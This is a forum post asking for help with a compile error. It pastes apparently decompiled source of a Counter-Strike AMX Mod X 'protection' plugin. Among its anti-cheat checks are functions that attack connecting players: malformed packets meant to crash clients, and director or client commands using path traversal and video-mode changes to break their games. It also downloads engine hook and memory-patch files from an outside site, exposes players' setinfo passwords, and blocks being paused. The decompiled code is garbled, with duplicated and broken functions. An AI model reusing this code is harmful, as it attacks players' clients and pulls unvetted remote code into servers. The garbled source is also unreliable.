error on ligne bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
61) : error 062: number of operands does not fit the operator
whats wrong ?? help pls!!
Код
#include <amxmodx>
new Float:SpamBotScannerSTOP[33];
new Float:SpamBotScannerStart[33];
new project_motdfile;
new project_specbug;
new project_amxxpause;
new project_noflood;
new project_noflood_time;
new project_ilegalcmd;
new project_checkerprotection;
new project_hltv;
new project_sr_block;
new project_xfakecrash;
new szip[32];
new project_checkbackdoor;
new szError[64];
new iError;
new project_ilegalban;
new project_namebug;
new project_showip;
new project_showpw;
new project_customhpk;
new Regex:g_iPattern;
new project_spambot;
new project_fakeplayer;
new Trie:ghTrie;
new project_quit;
new project_log;
new project_cmdbug;
new project_autobuy;
new project_autolog;
new FloodScan[33];
new SVault;
new authid[32];
new authid2[32];
new project_hlsocks;
new project_admin_debug;
new detectType4[312];
new project_suspicious;
new project_name_spammer;
new NameUnLock[33];
new project_sendmsg;
new __dhud_color;
new __dhud_x;
new __dhud_y;
new __dhud_effect;
new __dhud_fxtime;
new __dhud_holdtime;
new __dhud_fadeintime;
new __dhud_fadeouttime;
new __dhud_reliable;
new HTTP[7][326];
new g_HTTPEntity;
new g_Forward;
new g_iDownloadID;
new g_iPluginID = -1;
new g_DataBuffer[4096];
bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
{
return 0 < floatcmp(oper1, oper2);
}
bool:operator!(Float:)(Float:oper)
{
return oper & -1 == 0;
}
replace_all(String:string[], len, String:what[], String:with[])
{
new pos = 0;
new var1 = contain(string, what);
pos = var1;
if (var1 == -1)
{
return 0;
}
new total = 0;
new with_len = strlen(with);
new diff = strlen(what) - with_len;
new total_len = strlen(string);
new temp_pos = 0;
while (replace(string[pos], len - pos, what, with))
{
pos = with_len + pos;
total_len -= diff;
if (pos >= total_len)
{
return total;
}
else
{
temp_pos = contain(string[pos], what);
if (temp_pos == -1)
{
return total;
}
else
{
pos = temp_pos + pos;
total++;
}
return total;
}
return total;
}
return total;
}
get_configsdir(String:name[], len)
{
return get_localinfo("amxx_configsdir", name, len);
}
ColorChat(id, String:input[])
{
new msg[191];
new players[32];
new count = 1;
vformat(msg, 190, input, 3);
replace_all(msg, 190, "\g", "\4");
replace_all(msg, 190, "\n", "\1");
replace_all(msg, 190, "\t", "\3");
if (id)
{
players[0] = id;
}
else
{
get_players(players, count, "ch", "");
}
new i = 0;
while (i < count)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), 34308, players[i]);
write_byte(players[i]);
write_string(msg);
message_end();
i++;
}
i++;
}
return 0;
}
UserAccess(id, level, cid, num, bool:accesssilent)
{
!!! Removed Phi
new has_access = 0;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, 0))
{
has_access = 1;
}
if (level)
{
}
else
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag = 0;
get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
return 0;
}
return 1;
}
return 0;
}
bool:is_autobuy_long(String:string[], len)
{
static cmd[512];
while (strlen(string))
{
strtok(string, "", 511, string, len, 32, 1);
if (31 < strlen(cmd))
{
return true;
}
}
return false;
}
CrashExploit(id, String:text[])
{
message_begin(MSG_ONE, SVC_PACKETENTITIES, 34308, id);
write_byte(strlen(text) + 2);
write_byte(10);
write_string(text);
message_end();
return 0;
}
client_director(index, String:command[])
{
message_begin(MSG_ONE, SVC_DIRECTOR, 34308, index);
write_byte(strlen(command) + 2);
write_byte(10);
write_string(command);
message_end();
return 0;
}
client_finale(index)
{
message_begin(MSG_ONE, SVC_FINALE, 34308, index);
write_string("[project] Ai fost injectat !");
message_end();
return 0;
}
bool:is_user_steam(id)
{
!!! Removed Phi
if (dp_pointer || var3)
{
server_cmd("dp_clientinfo %d", id);
server_exec();
new var2;
if (get_pcvar_num(dp_pointer) == 2)
{
var2 = 1;
}
else
{
var2 = 0;
}
return var2;
}
return false;
}
getUserName(String:info[], size_info, String:name[], size_name)
{
!!! Removed Phi
new pos = 0;
new var2 = containi(info, "\name\");
pos = var2;
if (var2 != -1)
{
pos += 6;
new len = 0;
while (info[pos] != 92 && info[pos] != 34 && len < size_name && pos < size_info)
{
len++;
pos++;
name[len] = info[pos];
}
name[len] = 0;
}
else
{
name[0] = 0;
}
return 0;
}
HTTP_DownloadFile(String:szRemoteFile[], String:szLocalFile[])
{
!!! Removed Phi
new iSlot = 0;
iSlot = 0;
while (iSlot < 7)
{
if (!HTTP[iSlot][0][0][325])
{
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], 127, 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], 127, szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, EV_FL_nextthink, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, 217);
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
else
{
if (iSlot == 6)
{
return 0;
}
iSlot++;
}
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], 127, 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], 127, szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, EV_FL_nextthink, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, 217);
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], 127, 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], 127, szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, EV_FL_nextthink, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, 217);
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
public _HTTP_EntityThink(iEntity)
{
!!! Removed Phi
static iRet;
static iActiveSlots;
static iDataStart;
static iDataBlocks;
static iSlot;
if (g_HTTPEntity != iEntity)
{
return 0;
}
iActiveSlots = 0;
iSlot = 0;
while (iSlot < 7)
{
if (HTTP[iSlot][0][0][325])
{
iActiveSlots += 1;
if (socket_change(HTTP[iSlot][0][0][321], 0))
{
new var2 = socket_recv(HTTP[iSlot][0][0][321], "", 4096);
iDataBlocks = var2;
if (var2)
{
if (var3 == 1 && var4 > -1)
{
new iContentLength = strfind(g_DataBuffer, "Content-Length: ", 0, 0);
if (iContentLength > -1)
{
new iSizeEnd = strfind(g_DataBuffer[iContentLength + 16], "\r\n", 0, 0);
if (iSizeEnd > -1)
{
g_DataBuffer[iSizeEnd] = 0;
HTTP[iSlot][0][0][324] = str_to_num(g_DataBuffer[iContentLength + 16]);
}
}
iDataStart = iDataStart + 4;
}
else
{
iDataStart = 0;
}
new var5 = HTTP[iSlot][0][0][323];
var5 = fwrite_blocks(HTTP[iSlot][0][0][320], g_DataBuffer[iDataStart], iDataBlocks - iDataStart, 1) + var5;
ExecuteForward(g_Forward, iRet, HTTP[iSlot][0][0][192], HTTP[iSlot][0][0][325], HTTP[iSlot][0][0][323], HTTP[iSlot][0][0][324], 0);
iSlot += 1;
}
ExecuteForward(g_Forward, iRet, HTTP[iSlot][0][0][192], HTTP[iSlot][0][0][325], HTTP[iSlot][0][0][323], HTTP[iSlot][0][0][324], 1);
fclose(HTTP[iSlot][0][0][320]);
socket_close(HTTP[iSlot][0][0][321]);
iActiveSlots += -1;
HTTP[iSlot][0][0][325] = 0;
iSlot += 1;
}
iSlot += 1;
}
iSlot += 1;
}
if (iActiveSlots)
{
entity_set_float(g_HTTPEntity, EV_FL_nextthink, get_gametime() + 0.01);
}
else
{
entity_set_int(g_HTTPEntity, EV_INT_flags, 2.00/*1073741824*/);
call_think(g_HTTPEntity);
g_HTTPEntity = 0;
DestroyForward(g_Forward);
g_Forward = 0;
}
return 0;
}
set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable)
{
__dhud_color = clamp(red, 0, 255) << 16 + clamp(green, 0, 255) << 8 + clamp(blue, 0, 255);
__dhud_x = x;
__dhud_y = y;
__dhud_effect = effects;
__dhud_fxtime = fxtime;
__dhud_holdtime = holdtime;
__dhud_fadeintime = fadeintime;
__dhud_fadeouttime = fadeouttime;
__dhud_reliable = reliable;
return 1;
}
public project_NAMEBUGONSV(id, infobuffer)
{
!!! Removed Phi
static i;
static szNewName[32];
static szOldName[32];
pev(id, pev_netname, szOldName, 31);
get_user_info(id, "name", szNewName, 31);
if (containi("", "%") != -1)
{
if (NameUnLock[id][0][0] == 2)
{
NameUnLock[id] = 2;
ColorChat(id, "\4%s\1 Please wait\4 10 seconds\1 before change the name", "[project]");
set_user_info(id, "name", szOldName);
set_task(10.00, "project_NameDeBug", id, "", 0, "", 0);
return 2;
}
NameUnLock[id] = 0;
set_task(0.30, "project_NameDeBug2", id, "", 0, "", 0);
return 2;
}
if (szOldName[0][0])
{
i = 0;
while (i < 34)
{
if (containi("", ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(project_namebug))
{
BlockSound(id);
MessageNameBug(id);
if (get_pcvar_num(project_namebug) == 2)
{
server_cmd("kick #%i %s %s %s", GetUserID(id), "[project]", "You kicked for", "CSTRIKE_NAME");
}
if (get_pcvar_num(project_namebug) == 3)
{
project_BANPLAYER(id);
}
if (get_pcvar_num(project_namebug) == 4)
{
BlockSound(id);
PlayerName(id);
engfunc(EngFunc_InfoKeyValue, infobuffer, "name", Heap_128);
engfunc(EngFunc_SetClientKeyValue, id, infobuffer, "name", random_num(97, 122), random_num(97, 122), random_num(97, 122));
return 4;
}
set_user_info(id, "name", szOldName);
i += 1;
}
return 1;
}
i += 1;
}
}
if (get_pcvar_num(project_name_spammer) == 1)
{
if (szOldName[0][0])
{
if (!equal("", "", 0))
{
if (NameUnLock[id][0][0] == 1)
{
NameUnLock[id] = 1;
ColorChat(id, "\4%s\1 Please wait\4 10 seconds\1 before change the name", "[project]");
set_user_info(id, "name", szOldName);
return 2;
}
NameUnLock[id] = 1;
set_task(10.00, "project_NameDeBug", id, "", 0, "", 0);
}
}
}
return 1;
}
public project_NameDeBug(id)
{
NameUnLock[id] = 0;
return 0;
}
public project_NameDeBug2(id)
{
NameUnLock[id] = 2;
return 0;
}
public project_FakePlayerDetector(id, String:GetName[], String:szAddress[], szRejectReason[128])
{
static iConnectionCount;
static params[32];
if (pev(id, pev_flags) & 8192)
{
return 1;
}
if (szAddress[0])
{
if (!TrieGetCell(ghTrie, szAddress, iConnectionCount))
{
copy("", 32, szAddress);
set_task(12.40, "ClearValueFromTrie", 0, "", 32, "", 0);
TrieSetCell(ghTrie, szAddress, 0);
return 1;
}
if (iConnectionCount == 10)
{
project_Suspicios(id);
return 1;
}
TrieSetCell(ghTrie, szAddress, iConnectionCount + 1);
return 1;
}
return 1;
}
public OrpheuHookReturn:project_ConnectClient()
{
!!! Removed Phi
new cdkey[32];
new dummy[1];
new arg3[100];
read_argv(3, cdkey, 31);
new i = 0;
while (i < 8)
{
strtok(cdkey, dummy, 0, cdkey, 31, 92, 0);
i++;
}
read_argv(3, arg3, 99);
read_argv(4, detectType4, 311);
if (get_pcvar_num(project_autolog) == 2)
{
log_to_file("addons/amxmodx/configs/project/project_info.ini", "%s Protocol : %s ", "[project]", arg3);
log_to_file("addons/amxmodx/configs/project/project_info.ini", "%s Setinfo : %s ", "[project]", detectType4);
}
if (get_pcvar_num(project_steamidhack) == 1)
{
if (equal(cdkey, "8af049309c7356585ae4b48ed7471802", 0))
{
MessageCDKEY();
return OrpheuHookReturn:2;
}
}
if (get_pcvar_num(project_fakeplayer) == 1 || get_pcvar_num(project_fakeplayer) == 2)
{
if (!containi("", "\_cl_autowepswitch\1\") != -1)
{
if (!containi("", "\_cl_autowepswitch\0\") != -1)
{
MessageCDKEY();
new var2;
if (containi("", "name") != -1)
{
var2 = 2;
}
else
{
var2 = 0;
}
return var2;
}
}
}
return OrpheuHookReturn:0;
}
public project_ANTIAUTOBUY(id)
{
static i;
static args;
static arg[512];
args = read_argc();
i = 1;
while (i < args)
{
read_argv(i, arg, 511);
if (is_autobuy_long(arg, 511))
{
if (get_pcvar_num(project_autobuy) == 1)
{
BlockSound(id);
MessageAutobuy(id);
}
if (get_pcvar_num(project_autobuy) == 2)
{
PlayerName(id);
server_cmd("kick #%i \"%s %s You have been detected and blocked to %s \"", GetUserID(id), "[project]", Heap_128, "CSTRIKE_SETAUTOBUY");
}
if (get_pcvar_num(project_autobuy) == 3)
{
project_BANPLAYER(id);
}
return 1;
}
i += 1;
}
return 0;
}
public command_init()
{
new i = 0;
while (i < 3)
{
register_clcmd(IlegalBanBugCheck[i][0][0], "project_BANCMD", 8, "", -1);
i++;
}
public project_ClientDebug(id)
{
console_print(id, "%s This command is blocked", "[project]");
return 1;
}
public project_BANCMD(id, level, cid)
{
new Null[2];
read_argv(1, Null, 1);
if (Null[0] == 48)
{
if (get_pcvar_num(project_ilegalban) == 1)
{
BlockSound(id);
MessageIlegalBan(id);
return 1;
}
if (get_pcvar_num(project_ilegalban) == 2)
{
BlockSound(id);
MessageIlegalBan(id);
PlayerName(id);
server_cmd("kick #%i \"%s %s You have been detected and blocked to %s \"", GetUserID(id), "[project]", Heap_128, "CSTRIKE_BANBUG");
return 1;
}
if (get_pcvar_num(project_ilegalban) == 3)
{
BlockSound(id);
MessageIlegalBan(id);
project_BANPLAYER(id);
return 1;
}
}
return 0;
}
public project_GetUser(id, level, cid)
{
if (get_pcvar_num(project_showip) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[project]");
return 1;
}
new num = 0;
new players[32];
get_players(players, num, "", "");
console_print(id, "---------------------- [*] Name: [*] IP: [*] ----------------------\n");
new i = 0;
while (i < num)
{
new PlayerNAME[32];
new PlayerIP2[32];
new PlayerPW[32];
new players[32];
get_players(players, num, "", "");
get_user_info(players[i], "_pw", PlayerPW, 31);
get_user_name(players[i], PlayerNAME, 31);
get_user_ip(players[i], PlayerIP2, 31, 0);
if (get_pcvar_num(project_showpw) == 1)
{
if (is_user_connected(id))
{
client_print(id, print_console, "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
else
{
server_print("Name: %s - IP: %s - Password: %s", PlayerNAME, PlayerIP2, PlayerPW);
i++;
}
i++;
}
else
{
console_print(id, "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
i++;
}
console_print(id, "\n---------------------- [*] Name: [*] IP: [*] ----------------------");
return 1;
}
return 0;
}
public project_fuck(player)
{
if (get_pcvar_num(project_sendmsg) == 1)
{
if (NameUnLock[player][0][0] == 4)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_romanian/gfx/projectUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 5)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_russian/gfx/projectUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 6)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_lv/gfx/projectUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 7)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_downloads/gfx/projectUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
client_director(player, "TIMEDEMo gfx/projectUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 4)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_romanian/gfx/projectUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 5)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_russian/gfx/projectUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 6)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_lv/gfx/projectUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
if (NameUnLock[player][0][0] == 7)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_downloads/gfx/projectUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
client_cmd(player, "TIMEDEMo gfx/projectUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software");
return 1;
}
public ClearValueFromTrie(String:params[])
{
static szAddress[32];
copy("", 31, params);
TrieDeleteKey(ghTrie, "");
return 0;
}
public plugin_end()
{
new Float:ft = engfunc(EngFunc_Time);
new it = floatround(ft, floatround_round);
new seconds = it;
new minutes = it / 60;
new hours = it / 3600;
new day = it / 86400;
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Server Online : %i:%i:%i:%i\n", "[project]", day, hours, minutes, seconds);
if (get_pcvar_num(project_customhpk) == 1)
{
if (file_exists("custom.hpk"))
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Deleted file \"custom.hpk\"", "[project]");
delete_file("custom.hpk");
}
}
return 0;
}
public check_fakeplayer(id)
{
!!! Removed Phi
static jucip[32];
static ip[32];
new count = 0;
get_user_ip(id, jucip, 31, 1);
new i = 1;
while (i < 32)
{
if (i != id && is_user_connected(i))
{
get_user_ip(i, ip, 31, 1);
if (equali("", "", 0))
{
count++;
i++;
}
i++;
}
i++;
}
return count;
}
show_dhudmessage(index, String:message[])
{
!!! Removed Phi
new buffer[128];
new numArguments = numargs();
if (numArguments == 2)
{
send_dhudMessage(index, message);
}
else
{
if (index || numArguments == 3)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
new playersList[32];
new numPlayers = 0;
get_players(playersList, numPlayers, "ch", "");
if (!numPlayers)
{
return 0;
}
new Array:handleArrayML = ArrayCreate(1, 32);
new i = 2;
new j = 0;
while (i < numArguments)
{
if (getarg(i, 0) == -1)
{
do {
j++;
new var2 = getarg(i + 1, j);
buffer[j] = var2;
} while (var2);
j = 0;
if (GetLangTransKey(buffer) != -1)
{
i++;
ArrayPushCell(handleArrayML, i);
i++;
}
i++;
}
i++;
}
new size = ArraySize(handleArrayML);
if (!size)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
else
{
new i = 0;
new j = 0;
while (i < numPlayers)
{
index = playersList[i];
j = 0;
while (j < size)
{
setarg(ArrayGetCell(handleArrayML, j), 0, index);
j++;
}
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
i++;
}
}
ArrayDestroy(handleArrayML);
}
return 1;
}
public PluginPrecacheFix()
{
server_cmd("sv_allowdownload 1");
precache_generic("gfx/projectUp.wad");
if (file_exists("addons/amxmodx/configs/orpheu/functions/SV_ConnectClient"))
{
OrpheuRegisterHook(OrpheuGetFunction("SV_ConnectClient", ""), "project_ConnectClient", 0);
}
else
{
HTTP_DownloadFile("zanyxproject.pw/final/file/new_orpheu/SV_ClientConnect.md5", "addons/amxmodx/configs/orpheu/functions/SV_ConnectClient");
log_amx("Please wait 25 seconds to repair the plugin");
set_task(25.00, "project_repair", 0, "", 0, "", 0);
}
return 0;
}
public plugin_precache()
{
ReplaceSWDS();
cvar_init();
PluginPrecacheFix();
command_init();
return 0;
}
public ReplaceSWDS()
{
if (file_exists("addons/amxmodx/configs/orpheu/memory/engineString"))
{
OrpheuMemoryReplace("engineString", 0, "motd_write", "motd_write\n");
OrpheuMemoryReplace("engineString", 0, "cd", "cd\n");
OrpheuMemoryReplace("engineString", 0, "shutdownserver", "shutdownserver\n");
OrpheuMemoryReplace("engineString", 0, "say", "say\n");
register_srvcmd("shutdownserver", "project_HookEngine", -1, "");
register_srvcmd("motd_write", "project_HookEngine", -1, "");
register_srvcmd("cd", "project_HookEngine", -1, "");
register_srvcmd("say", "project_ReverseSay", -1, "");
}
else
{
HTTP_DownloadFile("zanyxproject.pw/final/file/new_orpheu/engineString.md5", "addons/amxmodx/configs/orpheu/memory/engineString");
log_amx("Please wait 25 seconds to repair the plugin");
set_task(25.00, "project_repair", 0, "", 0, "", 0);
}
return 0;
}
public plugin_init()
{
plugin_load_fast();
project_init();
project_CheckBackdoor();
return 0;
}
public ClearValueFromTrie(String:params[])
{
static szAddress[32];
copy("", 31, params);
TrieDeleteKey(ghTrie, "");
return 0;
}
public plugin_end()
{
new Float:ft = engfunc(EngFunc_Time);
new it = floatround(ft, floatround_round);
new seconds = it;
new minutes = it / 60;
new hours = it / 3600;
new day = it / 86400;
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Server Online : %i:%i:%i:%i\n", "[project]", day, hours, minutes, seconds);
if (get_pcvar_num(project_customhpk) == 1)
{
if (file_exists("custom.hpk"))
{
log_to_file("addons/amxmodx/configs/project/project.ini", "%s Deleted file \"custom.hpk\"", "[project]");
delete_file("custom.hpk");
}
}
return 0;
}
public plugin_pause()
{
if (get_pcvar_num(project_amxxpause) == 1)
{
if (find_plugin_byfile("project.amxx", 1) != -1)
{
server_cmd("amxx unpause %s", "project.amxx");
log_to_file("addons/amxmodx/configs/project/project.ini", "%s WARNING: failed to pause plugin %s", "[project]", "project.amxx");
ColorChat(0, "\4%s WARNING:\3\1 failed to pause plugin\4 %s ", "[project]", "project.amxx");
}
}
return 0;
}
public cvar_init()
{
project_customhpk = register_cvar("project_customhpk", "1", 0, 0.00);
project_autolog = register_cvar("project_autolog", "1", 0, 0.00);
project_autobuy = register_cvar("project_autobuy", "1", 0, 0.00);
project_cmdbug = register_cvar("project_cmdbug", "1", 0, 0.00);
project_log = register_cvar("project_log", "1", 0, 0.00);
project_hlsocks = register_cvar("project_hlsocks", "1", 0, 0.00);
project_fakeplayer = register_cvar("project_fakeplayer", "1", 0, 0.00);
project_ilegalcmd = register_cvar("project_ilegalcmd", "1", 0, 0.00);
project_quit = register_cvar("project_quit", "1", 0, 0.00);
project_ilegalban = register_cvar("project_ilegalban", "1", 0, 0.00);
project_namebug = register_cvar("project_namebug", "1", 0, 0.00);
project_spambot = register_cvar("project_spambot", "1", 0, 0.00);
project_checkerprotection = register_cvar("project_checkerprotection", "1", 0, 0.00);
project_showpw = register_cvar("project_showpw", "1", 0, 0.00);
project_showip = register_cvar("project_showip", "1", 0, 0.00);
project_specbug = register_cvar("project_specbug", "1", 0, 0.00);
project_checkbackdoor = register_cvar("project_checkbackdoor", "1", 0, 0.00);
project_hltv = register_cvar("project_hltv", "1", 0, 0.00);
project_xfakecrash = register_cvar("project_xfakecrash", "1", 0, 0.00);
project_sr_block = register_cvar("project_sr_block", "1", 0, 0.00);
project_admin_debug = register_cvar("project_admin_debug", "1", 0, 0.00);
project_sendmsg = register_cvar("project_sendmsg", "1", 0, 0.00);
server_cmd("exec addons/amxmodx/configs/project/project.cfg");
return 0;
}
public client_putinserver(id)
{
!!! Removed Phi
if (is_user_steam(id) || is_user_bot(id))
{
return 1;
}
if (get_pcvar_num(project_admim_removepassword) == 1)
{
if (is_user_admin(id))
{
set_task(0.20, "project_RemovePassword", id, "", 0, "", 0);
}
}
if (get_pcvar_num(project_admin_debug) == 1)
{
if (is_user_connected(id))
{
set_task(0.10, "project_ProtectAdmin", id, "", 0, "", 0);
}
}
set_task(0.90, "project_CheckZealProject", id, "", 0, "", 0);
return 0;
}
public project_GetUser(id, level, cid)
{
if (get_pcvar_num(project_showip) == 1)
{
if (!UserAccess(id, level, cid, 1, false))
{
console_print(id, "%s - You have not access to that command", "[project]");
return 1;
}
new num = 0;
new players[32];
get_players(players, num, "", "");
console_print(id, "---------------------- [*] Name: [*] IP: [*] ----------------------\n");
new i = 0;
while (i < num)
{
new PlayerNAME[32];
new PlayerIP2[32];
new PlayerPW[32];
new players[32];
get_players(players, num, "", "");
get_user_info(players[i], "_pw", PlayerPW, 31);
get_user_name(players[i], PlayerNAME, 31);
get_user_ip(players[i], PlayerIP2, 31, 0);
if (get_pcvar_num(project_showpw) == 1)
{
if (is_user_connected(id))
{
client_print(id, print_console, "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
else
{
server_print("Name: %s - IP: %s - Password: %s", PlayerNAME, PlayerIP2, PlayerPW);
i++;
}
i++;
}
else
{
console_print(id, "Name: %s - IP: %s", PlayerNAME, PlayerIP2);
i++;
}
i++;
}
console_print(id, "\n---------------------- [*] Name: [*] IP: [*] ----------------------");
return 1;
}
return 0;
}
public project_SPECBUG(id)
{
if (get_pcvar_num(project_specbug) == 1)
{
if (get_pcvar_num(project_sendmsg) == 1)
{
client_director(id, "joinclass", "5");
}
client_cmd(id, "joinclass", "5");
}
return 0;
}
public project_init()
{
server_cmd("exec addons/amxmodx/configs/project/%s.cfg", "project");
register_forward(FM_ClientUserInfoChanged, "project_NAMEBUGONSV", 0);
register_forward(FM_ClientConnect, "project_FakePlayerDetector", 1);
register_forward(FM_Sys_Error, "project_CheckError", 0);
register_forward(FM_GameShutdown, "project_CheckError", 0);
set_task(120.00, "project_RCONPASSWORD", 0, "", 0, "b", 0);
set_task(2.00, "debug_info", 0, "", 0, "", 0);
mkdir("gfx");
mkdir("addons/amxmodx/configs/project");
mkdir("addons/amxmodx/configs/orpheu/functions");
ReplaceSWDS();
if (get_pcvar_num(project_motdfile) == 1)
{
OrpheuMemoryReplace("engineString", 0, "motdfile", "motdfile\n");
register_srvcmd("motdfile", "project_HookEngine", -1, "");
}
else
{
register_srvcmd("motdfile", "project_HookEngine_debug", -1, "");
}
g_iPattern = regex_compile("[+]", iError, "", 63, "i");
ghTrie = TrieCreate();
SVault = nvault_open("SteamHackDetector");
return 0;
}
public project_HookEngine_debug()
{
server_print("%s To work please restart server", "[project]");
return 0;
}
public project_HookEngine()
{
